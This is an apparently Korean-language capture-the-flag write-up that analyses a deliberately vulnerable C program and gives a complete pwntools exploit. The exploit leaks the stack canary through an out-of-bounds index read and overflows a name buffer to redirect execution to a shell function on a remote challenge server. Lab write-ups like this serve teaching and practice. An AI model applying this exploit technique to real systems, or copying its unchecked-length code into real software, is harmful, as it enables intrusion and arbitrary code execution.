2 minute read

C 코드 분석


#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <unistd.h>

void alarm_handler() {

    puts("TIME OUT");

    exit(-1);

}

void initialize() {

    setvbuf(stdin, NULL, _IONBF, 0);

    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);

    alarm(30);

}

void get_shell() {

    system("/bin/sh");

}

void print_box(unsigned char *box, int idx) {

    printf("Element of index %d is : %02x\n", idx, box[idx]);

}

void menu() {

    puts("[F]ill the box");

    puts("[P]rint the box");

    puts("[E]xit");

    printf("> ");

}

int main(int argc, char *argv[]) {

    unsigned char box[0x40] = {};

    char name[0x40] = {};

    char select[2] = {};

    int idx = 0, name_len = 0;

    initialize();

    while(1) {

        menu();

        read(0, select, 2);

        switch( select[0] ) {

            case 'F':

                printf("box input : ");

                read(0, box, sizeof(box));

                break;

            case 'P':

                printf("Element index : ");

                scanf("%d", &idx);

                print_box(box, idx);

                break;

            case 'E':

                printf("Name Size : ");

                scanf("%d", &name_len);

                printf("Name : ");

                read(0, name, name_len);

                return 0;

            default:

                break;

        }

    }

}

main() 함수 분석

간단한 메뉴 출력 프로그램이다.

F 선택 시 ‘box’ 배열에 입력한 값을 저장한다.

P 선택 시 인덱스를 입력 받고 print_box 함수를 호출, 해당 인덱스의 요소 값을 출력한다.

E 선택 시 이름의 길이와 이름을 입력 받은 후 프로그램을 종료한다.

취약점 분석

두 가지의 취약점이 존재한다.

  1. case P 에서 scanf() 함수에서 입력받는 값의 크기 지정을 하지 않았기 때문에 print_box 함수 호출 시 배열의 범위를 벗어나는 인덱스에 해당하는 값 출력이 가능하다.

따라서 box 배열의 크기를 넘어서는 값을 넣어 카나리 값을 추출할 수 있다.

  1. case E 에서 name_len를 사용자가 직접 지정할 수 있기 때문에 스택 버퍼 오버플로우를 발생시킬 수 있다.

GDB 디버깅

가장 먼저 쉘 획득을 위환 get_shell 함수의 주소를 info func 으로 알아낸다.

get_shell 함수의 주소는 0x080486b9 이다.

image.jpg

GDB 디버깅을 통해 case F, case P, case E를 각각 확인하면서 스택의 구조를 파악할 수 있다.

예를 들어, case P 에서는 스택에서 idx의 위치를 알 수 있다.

image.jpg

이러한 방식으로 스택의 구조를 확인하면 다음과 같다.

image.jpg

여기서 버퍼 뒤에 canary 값이 저장되기 때문에 name 뒤에 canary 값이 저장된다고 생각할 수 있다.

또한, sfp는 복귀주소 즉, return 바로 위에 위치하기 때문에 스택 상에서 ret 바로 위에 저장된다고 생각할 수 있다.

위의 스택 프레임 구조 상에서 box와 name의 크기를 0x80(128 byte)로 알았으므로 이제 익스플로잇을 위한 pwn 코드를 작성할 수 있다.

취약점 분석을 통해 case P에서 카나리 릭을 이용하고, 익스플로잇은 case E에서 진행하는 과정을 거친다.

Pwn 코드


from pwn import *



p = remote("host3.dreamhack.games", 9778)

context.arch = "i386"



canary = b""

idx = 128

# box와 name의 크기값 128 byte



# case P 에서 카나리 값 알아내기

for i in range(4) :

    p.sendlineafter(">", "P")

    # case P를 이용하여 > 출력 시, case P로 이동

    p.sendlineafter("Element index : ", str(idx + i))

    p.recvuntil("is : ")

    canary = p.recvuntil("\n")[:2] + canary

    # case P 에서 Element index :  출력 시 129, 130, 131, 132의 값을 canary에 저장

    # 카나리 값은 box와 name 다음 위치하기 때문



canary = int(canary, 16)



# case E에서 익스플로잇 진행

p.sendlineafter(">", "E")



payload = b"A" * 0x40

payload += p32(canary)

payload += b"A" * 0x8

payload += p32(0x080486b9)

# case E에서는 name이 저장되어 있으므로, name의 크기 0x40을 의미없는 문자열을 먼저 작성

# 그 다음 얻어낸 canary 값 대입

# return 주소까지 나머지 8 byte 의미없는 문자열 작성

# get_shell 주소 대입



p.sendlineafter("Name Size : ", str(len(payload)))

p.sendafter("Name", payload)

p.interactive()

결과는 다음과 같다.

image.png